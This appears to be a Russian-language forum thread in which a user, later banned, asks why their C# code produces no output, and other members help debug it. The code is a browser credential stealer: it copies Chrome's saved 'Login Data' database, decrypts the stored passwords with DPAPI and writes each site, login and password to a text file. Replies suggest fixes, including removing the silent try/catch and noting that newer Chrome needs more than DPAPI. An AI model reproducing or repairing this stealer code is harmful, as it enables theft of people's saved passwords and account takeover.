Загрузка...

Doesn't output text to textbox

Thread in C# created by Keks88 Aug 25, 2022. 193 views

  1. Keks88
    Keks88 Topic starter Aug 25, 2022 Banned 0 Aug 21, 2022
    В чем проблема?

    C#
     try
    {
    string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
    string PDBPath = temp + user + "\\Chrome\\Login Data.sql";

    string connectionString = $"Data Source = {PDBPath}";

    if (File.Exists(PDBPath))
    {
    File.Delete(PDBPath);
    }

    File.Copy(GooglePath, PDBPath);


    string db_fields = "logins";
    string sql = $"SELECT * FROM {db_fields}";
    DataTable db = new DataTable();

    string fileName = temp + user + "\\Chrome\\Password.txt";
    StreamWriter sw = new StreamWriter(fileName);
    byte[] entropy = null;

    string description;


    using (SQLiteConnection connection = new SQLiteConnection(connectionString))
    {
    SQLiteCommand command = new SQLiteCommand(sql, connection);
    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
    adapter.Fill(db);
    }

    int rows = db.Rows.Count;

    for (int i = 0; i < rows; i++)
    {
    string url = db.Rows[i][1].ToString();
    string login = db.Rows[i][3].ToString();
    byte[] byteArray = (byte[])db.Rows[i][5];
    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
    string password = new UTF8Encoding(true).GetString(decrypted);
    sw.WriteLine("----------------------------");
    sw.WriteLine($"Log Num: {i}");
    sw.WriteLine($"Site: {url}");
    sw.WriteLine($"Login: {login}");
    sw.WriteLine($"Pass: {password}");
    }
    sw.Close();
    }
    catch
    {

    }
     
  2. DarKRs
    DarKRs Aug 25, 2022 Ура, у меня наконец есть статус 1232 Jul 15, 2022
    Попробуй через поле using сделать. И проверь в дебаге, db у тебя заполнено?
    Т.е.
    C#
                    byte[] entropy = null;

    string description;


    using (SQLiteConnection connection = new SQLiteConnection(connectionString))
    {
    SQLiteCommand command = new SQLiteCommand(sql, connection);
    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
    adapter.Fill(db);
    }

    int rows = db.Rows.Count;
    using( StreamWriter sw = new StreamWriter(fileName)){
    for (int i = 0; i < rows; i++)
    {
    string url = db.Rows[i][1].ToString();
    string login = db.Rows[i][3].ToString();
    byte[] byteArray = (byte[])db.Rows[i][5];
    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
    string password = new UTF8Encoding(true).GetString(decrypted);
    sw.WriteLine("----------------------------");
    sw.WriteLine($"Log Num: {i}");
    sw.WriteLine($"Site: {url}");
    sw.WriteLine($"Login: {login}");
    sw.WriteLine($"Pass: {password}");
    }
    }
     
    1. View previous comments (1)
    2. vtlstolyarov
      DarKRs, Действие которое надо сделать в первую очередь - это убрать try/catch который глушит все возникающие исключения, тогда всплывёт текст ошибки и будет намного понятнее что не работает.
    3. Keks88 Topic starter
    4. vtlstolyarov
      Keks88, вот видишь - сразу стало ясно в чём проблема
    5. View the next comments (2)
  3. Keks88
    Keks88 Topic starter Aug 25, 2022 Banned 0 Aug 21, 2022
    1. r3xq1
      Keks88, а ты год использования класса читаешь? )
      Для расшифровки потребуется не только DPAPI
Top
Loading...